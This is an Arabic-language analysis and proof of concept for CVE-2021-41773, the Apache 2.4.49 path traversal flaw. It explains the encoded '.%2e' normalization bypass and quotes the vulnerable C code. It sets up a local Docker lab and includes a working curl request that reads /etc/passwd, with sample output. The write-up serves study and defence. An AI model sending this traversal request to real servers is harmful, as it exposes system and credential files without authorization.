
PoC and analysis of CVE-2021-41773
CVE-2021-41773 هو ثغرة اجتياز المسار تؤثر على Apache HTTP Server 2.4.49.
تسمح الثغرة للمهاجم بالوصول إلى ملفات خارج الدليل المقصود في ظل إعدادات محددة، خاصةً عندما تكون الدلائل مكشوفة عبر توجيهات Alias أو ScriptAlias أو توجيهات أخرى مشابهة لـ Alias.
توجد الثغرة بسبب معالجة غير سليمة لـ تطبيع مسار URL والتوحيد القياسي (canonicalization). يقوم Apache بإجراء فحوصات أمنية على تمثيل مسار قد لا يزال يحتوي على أحرف مشفرة، مما يسمح للمهاجمين بتجاوز اكتشاف الاجتياز باستخدام تسلسلات النقاط المشفرة.
يمكن للمهاجم إنشاء عنوان URL خبيث يحتوي على تسلسلات اجتياز مشفرة مثل:
.%2e
حيث:
%2e = .
لذلك:
.%2e
يصبح:
..
بعد فك التشفير.
إذا قام Apache بالتحقق من التمثيل المشفر قبل تحويله إلى صورته القياسية (canonical)، يمكن تجاوز فحص الاجتياز.
الاستغلال الناجح يمكن أن يسمح للمهاجم بقراءة ملفات عشوائية من نظام الملفات.
مثال على الهدف:
/etc/passwd
يقع المنطق الضعيف في:
server/util.c
داخل:
ap_normalize_path()
كود Apache 2.4.49 الضعيف:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
يحاول الكود الضعيف تحديد أنماط اجتياز الدليل:
../
من خلال التحقق من النقاط المتتالية:
path[l + 1] == '.'
ومع ذلك، يمكن للمهاجم تقديم تسلسل اجتياز مشفر:
/.%2e/
في وقت فحص التطبيع، يعالج Apache:
.%2e
بدلاً من:
..
لأن:
%2e != .
منطق اكتشاف الاجتياز لا يتعرف على التسلسل كـ:
../
ثم يتم تفسير المسار في صورته المفكوكة التشفير، مما يسمح بحدوث الاجتياز.
يمكن تمثيل السلوك الضعيف على النحو التالي:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
يتم اتخاذ القرار الأمني قبل وصول المسار إلى تمثيله القياسي النهائي.
النهج الأكثر أمانًا هو:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
يجب دائمًا إجراء الفحوصات الأمنية على التمثيل المطبَّع النهائي.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
أرسل طلبًا يحتوي على تسلسل اجتياز مشفر:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
الاستغلال الناجح يعيد محتويات:
/etc/passwd
مثال:
root:x:0:0:root:/root:/bin/bash
استجابة 403 Forbidden لا تعني بالضرورة فشل الاستغلال.
أثناء الاختبار، قد يقوم Apache بتطبيع بنجاح:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
إلى:
/etc/passwd
ولكن يرفض الوصول بسبب صلاحيات نظام الملفات أو قواعد تفويض Apache.
مثال:
client denied by server configuration: /etc/passwd
يشير هذا إلى أن الاجتياز حدث بنجاح، لكن التحكم في الوصول منع الكشف عن الملف.
CVE-2021-41773 هو مثال كلاسيكي على ثغرة التوحيد القياسي (canonicalization).
يمكن أن يكون للمدخلات التي يتحكم فيها المستخدم تمثيلات متعددة:
.%2e
و:
..
على الرغم من أنهما يبدوان مختلفين، إلا أنهما يمثلان نفس مكوّن المسار.
يجب دائمًا إجراء الفحوصات الأمنية بعد فك التشفير والتطبيع. التحقق من تمثيل مشفر أو غامض يمكن أن يؤدي إلى تجاوزات أمنية.